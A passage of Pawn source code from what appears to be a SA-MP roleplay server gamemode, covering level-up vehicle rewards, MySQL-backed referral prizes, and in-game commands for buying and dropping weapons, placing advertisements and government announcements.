				vInfo[r][cMod12] = 0;
				SaveKonValV(r, "cMod12", 0);
				vInfo[r][cMod13] = 0;
				SaveKonValV(r, "cMod13", 0);
				vInfo[r][cMod14] = 0;
				SaveKonValV(r, "cMod14", 0);
				vInfo[r][cMod15] = 0;
				SaveKonValV(r, "cMod15", 0);
				vInfo[r][cMod16] = 0;
				SaveKonValV(r, "cMod16", 0);
				vInfo[r][cMod17] = 0;
				SaveKonValV(r, "cMod17", 0);
				vInfo[r][cPaintJob] = 3;
				SaveKonValV(r, "cPaintJob", 3);
				vInfo[r][cKilo] = 0.0;
				SaveKonFloatV(r, "cKilo", 0);
				vInfo[r][cPanel] = 0;
				SaveKonValV(r, "cPanel", 0);
				PINFO[playerid][cDoors] = 0;
				SaveKonValV(r, "cDoors", 0);
				PINFO[playerid][cLights] = 0;
				SaveKonValV(r, "cLights", 0);
				PINFO[playerid][cTires] = 0;
				SaveKonValV(r, "cTires", 0);
			new rand;
			rand = random(sizeof(CarSpawn));
					new carid;


					carid = CreateVehicle(549, CarSpawn[rand][0], CarSpawn[rand][1], CarSpawn[rand][2], 89.143226, 1, 1,-1);

					PlayerInfo[playerid][pCar_1] = carid;
					SaveKonVal(playerid, "pCar_1", carid);
					OwnedMashin[carid] = 1;
					MashinOwner[carid] = playerid;

					vInfo[r][cLocationx] = CarSpawn[rand][0];
					SaveKonFloatV(r, "cLocationx", CarSpawn[rand][0]);
					vInfo[r][cLocationy] = CarSpawn[rand][1];
					SaveKonFloatV(r, "cLocationy", CarSpawn[rand][1]);
					vInfo[r][cLocationz] = CarSpawn[rand][2];
					SaveKonFloatV(r, "cLocationz", CarSpawn[rand][2]);
					vInfo[r][cAngle] = 89.143226;
					SaveKonFloatV(r, "cAngle", 89.143226);
				vInfo[r][cModel] = 549;
					SaveKonValV(r, "cModel", 549);
			SendMessage(playerid, COLOR_YELLOW, "Be Monasebate Level 3 Server Be To Yek Tampa dad.");
			SendMessage(playerid, COLOR_YELLOW, "Be Checkpoint darj Shode rooye map boro va tahvil begir");
					vInfo[r][cLock] = 1;
					SaveKonValV(r, "cLock", 1);
					vInfo[r][cFixed] = 1;
					SaveKonValV(r, "cFixed", 1);
					vInfo[r][cFuel] = 100;
					SaveKonValV(r, "cFuel", 100);
					vInfo[r][cHealth] = 1000.0;
					SaveKonFloatV(r, "cHealth", 1000);
			new Float:x,Float:y,Float:z;
			new car = PlayerInfo[playerid][pCar_1];
			GetVehiclePos(car, x, y, z);
			OnCheckpoint[playerid] = 1;
			SetPlayerCheckpoint(playerid, x, y, z, 6);
			locatemashin[playerid] = 1;
					SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);
			}
			else if(nxtlevel == 4) {
			MashinOwner[PINFO[playerid][pCar_1]] = 9999;
				DestroyVehicle(PINFO[playerid][pCar_1], true);
				OwnedMashin[PINFO[playerid][pCar_1]] = 0;
				PINFO[playerid][pCar_1] = 0;
				SaveKonVal(playerid, "pCar_1", 0);
				vInfo[r][cLocationx] = 0.0;
				SaveKonFloatV(r, "cLocationx", 0);
				vInfo[r][cLocationy] = 0.0;
				SaveKonFloatV(r, "cLocationy", 0);
				vInfo[r][cLocationz] = 0.0;
				SaveKonFloatV(r, "cLocationz", 0);
				vInfo[r][cAngle] = 0.0;
				SaveKonFloatV(r, "cAngle", 0);
				vInfo[r][cColor1] = 9999;
				SaveKonValV(r, "cColor1", 9999);
				vInfo[r][cColor2] = 9999;
				SaveKonValV(r, "cColor2", 9999);
				vInfo[r][cModel] = 0;
				SaveKonValV(r, "cModel", 0);
				vInfo[r][cPrice] = 0;
				SaveKonValV(r, "cPrice", 0);
				strmid(vInfo[r][cPlate], "New Veh", 0, strlen("New Veh"), 255);
				SaveKonStrV(r, "cPlate", PINFO[playerid][cPlate]);
				vInfo[r][cLock] = 0;
				SaveKonValV(r, "cLock", 0);
				vInfo[r][cDestroyed] = 0;
				SaveKonValV(r, "cDestroyed", 0);
				PINFO[playerid][cFixed] = 0;
				SaveKonValV(r, "cFixed", 0);
				PINFO[playerid][cInsurance] = 0;
				SaveKonValV(r, "cInsurance", 0);
				vInfo[r][cFuel] = 0;
				SaveKonValV(r, "cFuel", 0);
				vInfo[r][cHealth] = 0.0;
				SaveKonFloatV(r, "cHealth", 0);
				vInfo[r][gLocationX] = 0;
				SaveKonFloatV(r, "gLocationX", 0);
				vInfo[r][gLocationY] = 0;
				SaveKonFloatV(r, "gLocationY", 0);
				vInfo[r][gLocationZ] = 0;
				SaveKonFloatV(r, "gLocationZ", 0);
				vInfo[r][gAngle] = 0;
				SaveKonFloatV(r, "gAngle", 0);
				vInfo[r][gParked] = 0;
				SaveKonValV(r, "gParked", 0);
				vInfo[r][cMod1] = 0;
				SaveKonValV(r, "cMod1", 0);
				vInfo[r][cMod3] = 0;
				SaveKonValV(r, "cMod3", 0);
				vInfo[r][cMod4] = 0;
				SaveKonValV(r, "cMod4", 0);
				vInfo[r][cMod5] = 0;
				SaveKonValV(r, "cMod5", 0);
				vInfo[r][cMod6] = 0;
				SaveKonValV(r, "cMod6", 0);
				vInfo[r][cMod7] = 0;
				SaveKonValV(r, "cMod7", 0);
				vInfo[r][cMod8] = 0;
				SaveKonValV(r, "cMod8", 0);
				vInfo[r][cMod9] = 0;
				SaveKonValV(r, "cMod9", 0);
				vInfo[r][cMod10] = 0;
				SaveKonValV(r, "cMod10", 0);
				vInfo[r][cMod11] = 0;
				SaveKonValV(r, "cMod11", 0);
				vInfo[r][cMod12] = 0;
				SaveKonValV(r, "cMod12", 0);
				vInfo[r][cMod13] = 0;
				SaveKonValV(r, "cMod13", 0);
				vInfo[r][cMod14] = 0;
				SaveKonValV(r, "cMod14", 0);
				vInfo[r][cMod15] = 0;
				SaveKonValV(r, "cMod15", 0);
				vInfo[r][cMod16] = 0;
				SaveKonValV(r, "cMod16", 0);
				vInfo[r][cMod17] = 0;
				SaveKonValV(r, "cMod17", 0);
				vInfo[r][cPaintJob] = 3;
				SaveKonValV(r, "cPaintJob", 3);
				vInfo[r][cKilo] = 0.0;
				SaveKonFloatV(r, "cKilo", 0);
				vInfo[r][cPanel] = 0;
				SaveKonValV(r, "cPanel", 0);
				PINFO[playerid][cDoors] = 0;
				SaveKonValV(r, "cDoors", 0);
				PINFO[playerid][cLights] = 0;
				SaveKonValV(r, "cLights", 0);
				PINFO[playerid][cTires] = 0;
				SaveKonValV(r, "cTires", 0);
			new rand;
			rand = random(sizeof(CarSpawn));
					new carid;


					carid = CreateVehicle(422, CarSpawn[rand][0], CarSpawn[rand][1], CarSpawn[rand][2], 89.143226, 1, 1,-1);

					PlayerInfo[playerid][pCar_1] = carid;
					SaveKonVal(playerid, "pCar_1", carid);
					OwnedMashin[carid] = 1;
					MashinOwner[carid] = playerid;

					vInfo[r][cLocationx] = CarSpawn[rand][0];
					SaveKonFloatV(r, "cLocationx", CarSpawn[rand][0]);
					vInfo[r][cLocationy] = CarSpawn[rand][1];
					SaveKonFloatV(r, "cLocationy", CarSpawn[rand][1]);
					vInfo[r][cLocationz] = CarSpawn[rand][2];
					SaveKonFloatV(r, "cLocationz", CarSpawn[rand][2]);
					vInfo[r][cAngle] = 89.143226;
					SaveKonFloatV(r, "cAngle", 89.143226);

				vInfo[r][cModel] = 422;
					SaveKonValV(r, "cModel", 422);
			SendMessage(playerid, COLOR_YELLOW, "Be Monasebate Level 4 Server Be To Yek Bbobcar dad.");
			SendMessage(playerid, COLOR_YELLOW, "Be Checkpoint darj Shode rooye map boro va tahvil begir");
					vInfo[r][cLock] = 1;
					SaveKonValV(r, "cLock", 1);
					vInfo[r][cFixed] = 1;
					SaveKonValV(r, "cFixed", 1);
					vInfo[r][cFuel] = 100;
					SaveKonValV(r, "cFuel", 100);
					vInfo[r][cHealth] = 1000.0;
					SaveKonFloatV(r, "cHealth", 1000);
			new Float:x,Float:y,Float:z;
			new car = PlayerInfo[playerid][pCar_1];
			GetVehiclePos(car, x, y, z);
			OnCheckpoint[playerid] = 1;
			SetPlayerCheckpoint(playerid, x, y, z, 6);
			locatemashin[playerid] = 1;
					SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);
			}
			else if(nxtlevel == 5) {
			MashinOwner[PINFO[playerid][pCar_1]] = 9999;
				DestroyVehicle(PINFO[playerid][pCar_1], true);
				OwnedMashin[PINFO[playerid][pCar_1]] = 0;
				PINFO[playerid][pCar_1] = 0;
				SaveKonVal(playerid, "pCar_1", 0);
				vInfo[r][cLocationx] = 0.0;
				SaveKonFloatV(r, "cLocationx", 0);
				vInfo[r][cLocationy] = 0.0;
				SaveKonFloatV(r, "cLocationy", 0);
				vInfo[r][cLocationz] = 0.0;
				SaveKonFloatV(r, "cLocationz", 0);
				vInfo[r][cAngle] = 0.0;
				SaveKonFloatV(r, "cAngle", 0);
				vInfo[r][cColor1] = 9999;
				SaveKonValV(r, "cColor1", 9999);
				vInfo[r][cColor2] = 9999;
				SaveKonValV(r, "cColor2", 9999);
				vInfo[r][cModel] = 0;
				SaveKonValV(r, "cModel", 0);
				vInfo[r][cPrice] = 0;
				SaveKonValV(r, "cPrice", 0);
				strmid(vInfo[r][cPlate], "New Veh", 0, strlen("New Veh"), 255);
				SaveKonStrV(r, "cPlate", PINFO[playerid][cPlate]);
				vInfo[r][cLock] = 0;
				SaveKonValV(r, "cLock", 0);
				vInfo[r][cDestroyed] = 0;
				SaveKonValV(r, "cDestroyed", 0);
				PINFO[playerid][cFixed] = 0;
				SaveKonValV(r, "cFixed", 0);
				PINFO[playerid][cInsurance] = 0;
				SaveKonValV(r, "cInsurance", 0);
				vInfo[r][cFuel] = 0;
				SaveKonValV(r, "cFuel", 0);
				vInfo[r][cHealth] = 0.0;
				SaveKonFloatV(r, "cHealth", 0);
				vInfo[r][gLocationX] = 0;
				SaveKonFloatV(r, "gLocationX", 0);
				vInfo[r][gLocationY] = 0;
				SaveKonFloatV(r, "gLocationY", 0);
				vInfo[r][gLocationZ] = 0;
				SaveKonFloatV(r, "gLocationZ", 0);
				vInfo[r][gAngle] = 0;
				SaveKonFloatV(r, "gAngle", 0);
				vInfo[r][gParked] = 0;
				SaveKonValV(r, "gParked", 0);
				vInfo[r][cMod1] = 0;
				SaveKonValV(r, "cMod1", 0);
				vInfo[r][cMod3] = 0;
				SaveKonValV(r, "cMod3", 0);
				vInfo[r][cMod4] = 0;
				SaveKonValV(r, "cMod4", 0);
				vInfo[r][cMod5] = 0;
				SaveKonValV(r, "cMod5", 0);
				vInfo[r][cMod6] = 0;
				SaveKonValV(r, "cMod6", 0);
				vInfo[r][cMod7] = 0;
				SaveKonValV(r, "cMod7", 0);
				vInfo[r][cMod8] = 0;
				SaveKonValV(r, "cMod8", 0);
				vInfo[r][cMod9] = 0;
				SaveKonValV(r, "cMod9", 0);
				vInfo[r][cMod10] = 0;
				SaveKonValV(r, "cMod10", 0);
				vInfo[r][cMod11] = 0;
				SaveKonValV(r, "cMod11", 0);
				vInfo[r][cMod12] = 0;
				SaveKonValV(r, "cMod12", 0);
				vInfo[r][cMod13] = 0;
				SaveKonValV(r, "cMod13", 0);
				vInfo[r][cMod14] = 0;
				SaveKonValV(r, "cMod14", 0);
				vInfo[r][cMod15] = 0;
				SaveKonValV(r, "cMod15", 0);
				vInfo[r][cMod16] = 0;
				SaveKonValV(r, "cMod16", 0);
				vInfo[r][cMod17] = 0;
				SaveKonValV(r, "cMod17", 0);
				vInfo[r][cPaintJob] = 3;
				SaveKonValV(r, "cPaintJob", 3);
				vInfo[r][cKilo] = 0.0;
				SaveKonFloatV(r, "cKilo", 0);
				vInfo[r][cPanel] = 0;
				SaveKonValV(r, "cPanel", 0);
				PINFO[playerid][cDoors] = 0;
				SaveKonValV(r, "cDoors", 0);
				PINFO[playerid][cLights] = 0;
				SaveKonValV(r, "cLights", 0);
				PINFO[playerid][cTires] = 0;
				SaveKonValV(r, "cTires", 0);
			new rand;
			rand = random(sizeof(CarSpawn));
					new carid;


					carid = CreateVehicle(481, CarSpawn[rand][0], CarSpawn[rand][1], CarSpawn[rand][2], 89.143226, 1, 1,-1);

					PlayerInfo[playerid][pCar_1] = carid;
					SaveKonVal(playerid, "pCar_1", carid);
					OwnedMashin[carid] = 1;
					MashinOwner[carid] = playerid;

					vInfo[r][cLocationx] = CarSpawn[rand][0];
					SaveKonFloatV(r, "cLocationx", CarSpawn[rand][0]);
					vInfo[r][cLocationy] = CarSpawn[rand][1];
					SaveKonFloatV(r, "cLocationy", CarSpawn[rand][1]);
					vInfo[r][cLocationz] = CarSpawn[rand][2];
					SaveKonFloatV(r, "cLocationz", CarSpawn[rand][2]);
					vInfo[r][cAngle] = 89.143226;
					SaveKonFloatV(r, "cAngle", 89.143226);


				vInfo[r][cModel] = 481;
					SaveKonValV(r, "cModel", 481);
			SendMessage(playerid, COLOR_YELLOW, "Be Monasebate Level 5 Server Be To Yek BMX dad.");
			SendMessage(playerid, COLOR_YELLOW, "Be Checkpoint darj Shode rooye map boro va tahvil begir");
					vInfo[r][cLock] = 1;
					SaveKonValV(r, "cLock", 1);
					vInfo[r][cFixed] = 1;
					SaveKonValV(r, "cFixed", 1);
					vInfo[r][cFuel] = 100;
					SaveKonValV(r, "cFuel", 100);
					vInfo[r][cHealth] = 1000.0;
					SaveKonFloatV(r, "cHealth", 1000);
			new Float:x,Float:y,Float:z;
			new car = PlayerInfo[playerid][pCar_1];
			GetVehiclePos(car, x, y, z);
			OnCheckpoint[playerid] = 1;
			SetPlayerCheckpoint(playerid, x, y, z, 6);
			locatemashin[playerid] = 1;
			SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);
			}*/
				GameTextForPlayer(playerid,string3,4000,1);
				if(PINFO[playerid][pReferral] != 0)
				{
					new query[256];
					mysql_format(handle, query, 256, "SELECT * FROM `users` WHERE pIp='%e' AND pID='%i' AND pName<>'%e'", PINFO[playerid][pIp], PINFO[playerid][pReferral], PINFO[playerid][pName]);
					new Cache:result = mysql_query(handle, query);
					if(cache_num_rows() > 0)
					{
						new ajabzstr[256];
						new fuckername[MAX_PLAYER_NAME];
						cache_get_row(0, 0, fuckername, handle, MAX_PLAYER_NAME);
						format(ajabzstr, 256, "{FFFFFF}%s(%i) is on transfering illegal with %s by referral.", PINFO[playerid][pName], playerid, fuckername);
						AdminWarn(ajabzstr);
					}
					cache_delete(result);
					new prz = random(1)+1;
					new MeSs[144];
					if(prz == 1)
					{
						new rpp = random((PINFO[playerid][pLevel]*2))+1;
						new bool:IsOnl;
						for(new i = 0;i<Akharish;i++)
						{
							if(IsPlayerConnected(i))
							{
								if(PINFO[i][pID] == PINFO[playerid][pReferral])
								{
									PINFO[i][pExp] += rpp;
									SaveKonVal(i, "pExp", PINFO[i][pExp]);
									IsOnl = true;
									new restext[30];
									if(rpp < 2) restext = "respect point";
									if(rpp >= 2) restext = "respect points";
		                            format(MeSs, 144, "You have received %s %s for buying level from one of your referral user as a prize.",FormatNumber(rpp), restext);
		                            SendMessage(i, COLOR_LIGHTRED, MeSs);
								}
							}
						}
						if(IsOnl == false)
						{
							new query2[512];
							mysql_format(handle, query2, 256, "UPDATE `users` SET pExp=pExp+'%i' WHERE pID='%i'", rpp, PINFO[playerid][pReferral]);
							mysql_tquery(handle, query2, "SendQuery", "");
							mysql_format(handle, query2, 256, "SELECT * FROM `users` WHERE pID='%e'", PINFO[playerid][pReferral]);
					        new Cache:Miksz = mysql_query(handle, query2);
					        new namee[MAX_PLAYER_NAME];
					        new ferestande[30];
					        new setter = 0;
					        new KeyOomad[60];
                            new year,month,day,hour,minute,sec;
	                        gettime(hour,minute,sec);
	                        getdate(year,month,day);
	                        new NaneJoon[60];
	                        format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	                        strcpy(KeyOomad,NaneJoon,60);
					        new msg[110];
					        new resTxt[30];
					        if(rpp < 2) resTxt = "respect point";
					        if(rpp >= 2) resTxt = "respect points";
					        format(msg, 100, "Someone of your referral user just bought a level and you received %s %s",FormatNumber(rpp),resTxt);
                            ferestande = "{FF0000}SERVER{FFFFFF}";
                            cache_get_field_content(0,"pName",namee,handle,sizeof(namee));
					        cache_delete(Miksz);
							mysql_format(handle, query2, sizeof(query2), "INSERT INTO `messages` (`Receiver`,`Sender`,`Message`,`Time`,`Readed`) VALUES ('%e','%e','%e','%e','%d')", namee,ferestande,msg,KeyOomad,setter);
		                    mysql_tquery(handle, query2);
						}
					}
					else if(prz == 2)
					{
						new rpp = PINFO[playerid][pLevel]*1000;
						new bool:IsOnl;
						for(new i = 0;i<Akharish;i++)
						{
							if(IsPlayerConnected(i))
							{
								if(PINFO[i][pID] == PINFO[playerid][pReferral])
								{
									PINFO[i][pAccount] += rpp;
									SaveKonVal(i, "pAccount", PINFO[i][pAccount]);
									IsOnl = true;
		                            format(MeSs, 144, "You have received $%s money for buying level from one of your referral user as a prize.",FormatNumber(rpp));
		                            SendMessage(i, COLOR_LIGHTRED, MeSs);
								}
							}
						}
						if(IsOnl == false)
						{
							new query2[512];
							mysql_format(handle, query2, 256, "UPDATE `users` SET pAccount=pAccount+'%i' WHERE pID='%i'", rpp, PINFO[playerid][pReferral]);
							mysql_tquery(handle, query2, "SendQuery", "");
						    mysql_format(handle, query2, 256, "SELECT * FROM `users` WHERE pID='%e'", PINFO[playerid][pReferral]);
					        new Cache:Miks = mysql_query(handle, query2);
					        new namee[MAX_PLAYER_NAME];
					        new ferestande[30];
					        new setter = 0;
					        new KeyOomad[60];
                            new year,month,day,hour,minute,sec;
	                        gettime(hour,minute,sec);
	                        getdate(year,month,day);
	                        new NaneJoon[60];
	                        format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	                        strcpy(KeyOomad,NaneJoon,60);
					        new msg[110];
					        format(msg, 100, "Someone of your referral user just bought a level and you received $%s",FormatNumber(rpp));
                            ferestande = "{FF0000}SERVER{FFFFFF}";
                            cache_get_field_content(0,"pName",namee,handle,sizeof(namee));
					        cache_delete(Miks);
							mysql_format(handle, query2, sizeof(query2), "INSERT INTO `messages` (`Receiver`,`Sender`,`Message`,`Time`,`Readed`) VALUES ('%e','%e','%e','%e','%d')", namee,ferestande,msg,KeyOomad,setter);
		                    mysql_tquery(handle, query2);
						}
					}
				}
				if(PlayerInfo[playerid][pPremiumAccount] > 0)
				{
					PlayerInfo[playerid][pExp] -= expamount;
					new total = PlayerInfo[playerid][pExp];
					if(total > 0)
					{
						PlayerInfo[playerid][pExp] = total;
					}
					else
					{
						PlayerInfo[playerid][pExp] = 0;
					}
				}
				else
				{
					PlayerInfo[playerid][pExp] = 0;
				}
				SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]);
			}
			return 1;
		}
		if (strcmp(cmd, "/throwguns", true) == 0)
		{
		new sweapon, sammo;
		new sefid = 0;
		for (new i=0; i<13; i++)
		{
			GetPlayerWeaponData(playerid, i, sweapon, sammo);
			if(sweapon != 0 && sammo != 0)
			{
				sefid = 1;
			}
		}
		if(sefid == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't any gun in your hands.");
		ResetPlayerKolang(playerid);
		SCM(playerid, COLOR_SINA3, "You thrown your weapons.");
		new mozes[144];
		format(mozes, sizeof(mozes), "%s has thrown away %s guns.", PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"));
		ProxDetector(30.0, playerid, mozes, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		/*if(freezeonbet[playerid] == 1)
		{
		TogglePlayerControllable(playerid, 1);
		freezeonbet[playerid] = 0;
		}*/
		return 1;
		}
		if (strcmp(cmd, "/buygun", true) == 0)
		{
			if(PlayerInfo[playerid][pGunLic] == 0) return SendMessage(playerid, COLOR_LIGHTBLUE, "You haven't weapon license.");
			if(TooBiz[playerid] != 0 && TooBiz[playerid] != 1 && TooBiz[playerid] != 54) return SCM(playerid, COL_SYN, "You are not in store.");
			if(BizzInfo[TooBiz[playerid]][bProducts] <= 0) return GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
			new GunName[180];
			GunName = strtok(cmdtext, idx);
			if(!strlen(GunName))
			{
				SCM(playerid, COL_SYN, "Syntax: /buygun <WeaponName> <Ammo>");
				SCM(playerid, COLOR_CRS4, "Available weapon names: SDPistol($200) Deagle($300) Shotgun($250)");
				SCM(playerid, COLOR_CRS4, "Available weapon names: AK-47($500) M4($500) Rifle($400) MP5($250)");
				return SCM(playerid, COLOR_CRS4, "Prices are for 99 ammo");
			}
			tmp = strtok(cmdtext, idx);
			if(!strlen(GunName))
			{
				SCM(playerid, COL_SYN, "Syntax: /buygun <WeaponName> <Ammo>");
				SCM(playerid, COLOR_CRS4, "Available weapon names: SDPistol($200) Deagle($300) Shotgun($250)");
				SCM(playerid, COLOR_CRS4, "Available weapon names: AK-47($500) M4($500) Rifle($400) MP5($250)");
				return SCM(playerid, COLOR_CRS4, "Prices are for 99 ammo");
			}
			new ammoamount = strval(tmp), GunID, TofangPool;
			if(!strcmp(GunName, "SDPistol", true))
			{
				GunID = 23, TofangPool = floatround(ammoamount*200.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "Deagle", true))
			{
				GunID = 24, TofangPool = floatround(ammoamount*300.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "Shotgun", true))
			{
				GunID = 25, TofangPool = floatround(ammoamount*250.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "AK-47", true))
			{
				GunID = 30, TofangPool = floatround(ammoamount*500.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "M4", true))
			{
				GunID = 31, TofangPool = floatround(ammoamount*500.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "Rifle", true))
			{
				GunID = 33, TofangPool = floatround(ammoamount*400.0/99.0, floatround_ceil);
			}
			else if(!strcmp(GunName, "MP5", true))
			{
				GunID = 29, TofangPool = floatround(ammoamount*250.0/99.0, floatround_ceil);
			}
			/*else if(!strcmp(GunName, "Spray", true))
			{
				if(GetPlayerWeapon(playerid) == 41) return SCM(playerid, COLOR_YELLOW2, "Error: you already have that.")
				if(PlayerInfo[playerid][pClan] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: this service only is for official clans.")
				GivePlayerKolang(playerid, 41, 5000);
				GivePlayerPool(playerid, -200);
				SCM(playerid, COLOR_CRS4, "You buy a Spray for $200 with 5000 ammo.");
				return 1;
			}*/
			else return SCM(playerid, COL_SYN, "Type a correct weapon name.");
			if(ammoamount > 1000 || ammoamount < 5) return SCM(playerid, COLOR_SINA3, "Please give me a correct ammo between 5 and 1000.");
			GivePlayerKolang(playerid, GunID, ammoamount);
			GivePlayerPool(playerid, -TofangPool);
			format(string, 256, "You buy a %s for $%s with %i ammo.", GunName, FormatNumber(TofangPool), ammoamount);
			return SCM(playerid, COLOR_CRS4, string);
		}
	//----------------------------------[advertise]-----------------------------------------------
		if(strcmp(cmd, "/ad", true) == 0 || strcmp(cmd, "/advertisement", true) == 0)
		{
		if(!ThereIsAnyActiveAdmin()) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin.");
				if(IsAtCnn(playerid))
				{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "** You havent logged in yet !");
					return 1;
				}
				if(PlayerInfo[playerid][pLevel] < 3)
				{
					SendMessage(playerid, COLOR_RED, "You have to be level 3 to use this command.");
					return 1;
				}
			 if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
new isadnew = 0;
if(PlayerToPoint(3.0,playerid,1329.7839,-983.6779,33.8966))
{
isadnew = 1;
}

				   /*
				   for(new i = 0; i < MAX_PLAYERS; i++)
				   {
				new acount = 0;
			 if(PINFO[i][pAdmin] >= 1)
			 {
			 acount++;
			 }
			 if(acount == 0)
			 {
			 SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin to place an advertisement.");
			 return 1;
			 }
				   }
				   */
				   
				   
				   

				   
				   
				   
				   
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[256];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/ad)vertisement <Massage>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				if(adtimer >= 900)
				{
				 SCM(playerid,COL_SYN,"The cnn ads box is full yet, Please try again later.");
				 return 1;
				}
				if(adtimerplayer[playerid] > 0)
				{
				format(string,256,"You already voted for an ad, Please wait %i second(s) or less so we can show your ad.",adtimerplayer[playerid]);
				SCM(playerid,COL_SYN,string);
				return 1;
				}
				strmid(adtextplayer[playerid], (result), 0, strlen((result)), 512);
				new payout = strlen(adtextplayer[playerid]) * SBizzInfo[7][sbEntranceCost];
				new lengad = strlen(adtextplayer[playerid]);
				if(GetPlayerPool(playerid) < payout)
				{
					format(string, sizeof(string), "You used %d characters which cost $%s, You haven't enough.", lengad, FormatNumber(payout));
					SendMessage(playerid, COLOR_WHITE, string);
					return 1;
				}
				if(isadnew == 0)
				{
				SBizzInfo[7][sbTill] += payout;
				}
				if(isadnew == 1)
				{
				SBizzInfo[35][sbTill] += payout;
				}
				GivePlayerPool(playerid, - payout);
				format(string, sizeof(string), "~r~Paid $%d~n~~w~Message contained: %d Characters", payout, lengad);
				GameTextForPlayer(playerid, string, 5000, 1);
				adtimer += 30;
				myaddade[playerid] = 1;
				adtimerplayer[playerid] = adtimer;
				Adplayer[playerid] = 1;
				format(string,256,"Your ad will be shown after %i seconds or less.",adtimer);
				SCM(playerid,COLOR_SINA3,string);
				new name[MAX_PLAYER_NAME];
			 GetPlayerName(playerid,name,sizeof(name));
//			 new strsina[512];
			 //format(strsina, sizeof(strsina), "[ADM-DEMO]:{18E139} Ad Placed by %s({FFFFFF}%d{18E139}): %s", name,playerid,adtextplayer[playerid]);
			 //ABroadCast(COLOR_SINAGHERMEZ,strsina,1);
			 
			 // Hameye AD e yaroo ro too ADM WARN mige (by SiNaGaMeR)
			 	new nesfshode[300];
				new strlolis[300];
				new strasl[300];
			 if(isadnew == 1) ImAddingNew[playerid] = 1;
			 if(isadnew == 0)
			 {
				if(strlen(adtextplayer[playerid])+strlen(PINFO[playerid][pName])+strlen("[ADM-DEMO]:{18E139} Ad Placed by ({FFFFFF}{18E139}): ") < 50) {format(strasl, 300, "{FF0000}[ADM-DEMO]:{18E139} Ad Placed by %s({FFFFFF}%d{18E139}): %s",name,playerid,adtextplayer[playerid]);
				ABroadCast(COLOR_SINAGHERMEZ,strasl,1);}
				else
				{
					new b = 0;
					for(new w;w<50;w++)
					{
					   strlolis[b] = adtextplayer[playerid][w];
					   b++;
					}
					b = 0;
					for(new w = 50;w<strlen(adtextplayer[playerid]);w++)
					{
					   nesfshode[b] = adtextplayer[playerid][w];
					   b++
					}
					format(strasl, 300 , "[ADM-DEMO]:{18E139} Ad Placed by %s({FFFFFF}%d{18E139}): %s ...",name,playerid,strlolis);
					ABroadCast(COLOR_SINAGHERMEZ,strasl,1);
					format(strasl, 300 , "... %s.", nesfshode);
					ABroadCast(ADVERTISEMEN_COLOR,strasl,1);
					}
			  }
			  if(isadnew == 1)
			  {
				if(strlen(adtextplayer[playerid])+strlen(PINFO[playerid][pName])+strlen("[ADM-DEMO]:{009BFF} Ad Placed by ({FFFFFF}{009BFF}): ") < 50) {format(strasl, 300, "{FF0000}[ADM-DEMO]:{18E139} Ad Placed by %s({FFFFFF}%d{18E139}): %s",name,playerid,adtextplayer[playerid]);
				ABroadCast(COLOR_SINAGHERMEZ,strasl,1);}
				else
				{
					new b = 0;
					for(new w;w<50;w++)
					{
					   strlolis[b] = adtextplayer[playerid][w];
					   b++;
					}
					b = 0;
					for(new w = 50;w<strlen(adtextplayer[playerid]);w++)
					{
					   nesfshode[b] = adtextplayer[playerid][w];
					   b++
					}
					format(strasl, 300 , "[ADM-DEMO]:{009BFF} Ad Placed by %s({FFFFFF}%d{009BFF}): %s ...",name,playerid,strlolis);
					ABroadCast(COLOR_SINAGHERMEZ,strasl,1);
					format(strasl, 300 , "... %s.", nesfshode);
					ABroadCast(COLOR_NEWAD,strasl,1);
					}
			  }
			 

			 
			 
			 
			 
			 
			 
			 
			 

//                ABroadCast(COLOR_SINA2,adtextplayer[playerid],1);
//                SCM(playerid,COLOR_SINA2,string);
				}
				else
				{
				SCM(playerid,COLOR_SINA3,"You are not at CNN agency.");
				return 1;
				}
			return 1;
		}
	//----------------------------------[government]-----------------------------------------------
		if(strcmp(cmd, "/government", true) == 0 || strcmp(cmd, "/gov", true) == 0)
		{
		if(!ThereIsAnyActiveAdmin()) return SCM(playerid, COLOR_YELLOW2, "Error: There isn't any active admin.");
			if(IsPlayerConnected(playerid))
			{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
